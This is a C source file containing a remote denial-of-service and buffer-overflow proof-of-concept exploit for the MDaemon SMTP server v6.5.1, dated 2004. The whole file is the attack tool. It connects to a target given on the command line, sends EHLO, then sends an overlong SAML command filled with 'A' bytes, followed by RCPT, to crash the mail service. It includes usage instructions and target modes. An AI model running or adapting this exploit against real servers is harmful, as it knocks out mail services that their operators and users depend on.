/////////////////////////////////////////////////////////////
//        Remote DoS and proof-of-concept exploit          //
//                         for                      //
//               Mdaemon smtp server v6.5.1                //
//                     and                             //
//                possible other version.                  //
//                   Find bug: D_BuG.               //
//                    Author: D_BuG.                       //
//                     D_BuG@bk.ru                   //                
//                   Data: 16/09/2004               //
//                     NOT PUBLIC!                         //
//          Greets:Rasco.                        // 
/////////////////////////////////////////////////////////////

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int     sock,err;
struct  sockaddr_in sa;


int main (int argc, char *argv[])
  
  {
  
  printf("Remote DoS and proof-of-concept(buffer overflow) exploit\n");
  printf("                         for                              \n");
  printf("Mdaemon smtp server v6.5.1 and possible other version.\n");                    
  if(argc!=4)
  {
  printf("Usage: %s <IPADDRESS> <PORT> <TARGET>\n",argv[0]);
  printf("Target:\n1.DoS.\n2.Proof-of-concept(buffer overflow).\n");
  printf("e.g.:%s 192.168.1.1 25 1\n",argv[0]);
  exit(-1);
  }


       sa.sin_family=AF_INET;
  sa.sin_port=htons(atoi(argv[2]));
  if(inet_pton(AF_INET, argv[1], &sa.sin_addr) <= 0)
  printf("Error inet_pton\n");
    
  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  
  printf("[~]Connecting...\n");
  
  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) <0)
  {
  printf("[-]Connect filed....\nExit...\n");
  exit(-1);
  }

int len=247;
  
if(atoi(argv[3])==2)
{
len++;
}
  
char szBuffer[len+7];
char buff[len];
char send[]="EHLO tester\n";
char send3[]="RCPT TO postmaster\n";
char rcv[1024];
int i;
for(i=0;i<len;i++)
    {
    buff[i]=0x41;
    }
    
sprintf(szBuffer,"SAML %s\n",buff);

    printf("[+]Ok!\n");
    sleep(2);
    printf("[~]Get banner...\n");
    if(read(sock,&rcv,sizeof(rcv)) !=-1){}
        
    if(strstr(rcv,"220")==NULL)
    {
    printf("[-]Failed!\n");
    }
    else
    { 
    printf("[+]Ok!\n");
        }
                 
    printf("[~]Send EHLO...\n");
    write(sock,send,sizeof(send)-1);
    sleep(2);
    memset(rcv,0,1024);
    if(read(sock,&rcv,sizeof(rcv)) !=-1){}
    
    if(strstr(rcv,"250")==NULL)
    {
    printf("[-]Failed...\n");
    }
    else
    {
    printf("[+]Ok!\n");
    }
    printf("[~]Send SAML...\n");
    write(sock,szBuffer,strlen(szBuffer));//Send SAML
    sleep(2);
    memset(rcv,0,1024);
    if(read(sock,&rcv,sizeof(rcv)) !=-1){}
    
    if(strstr(rcv,"250")==NULL)
    {
    printf("[-]Exploit failed...please check your version Mdaemon!\n");
    printf("[-]Exit...\n");
    exit(-1);
    }
    printf("[+]Ok!\n");
    
    printf("[~]Send RCPT...\n\n");
    write(sock,send3,sizeof(send3)-1);//Send RCPT
    sleep(2);
    if(atoi(argv[3])==2)
    {
    printf("[+]Crash service.....\n");
    }
    else
    {
    printf("[+]DoS service.....\n");
    }
    printf("[~]Done.\n");
    
    close(sock);
    
return 0;

}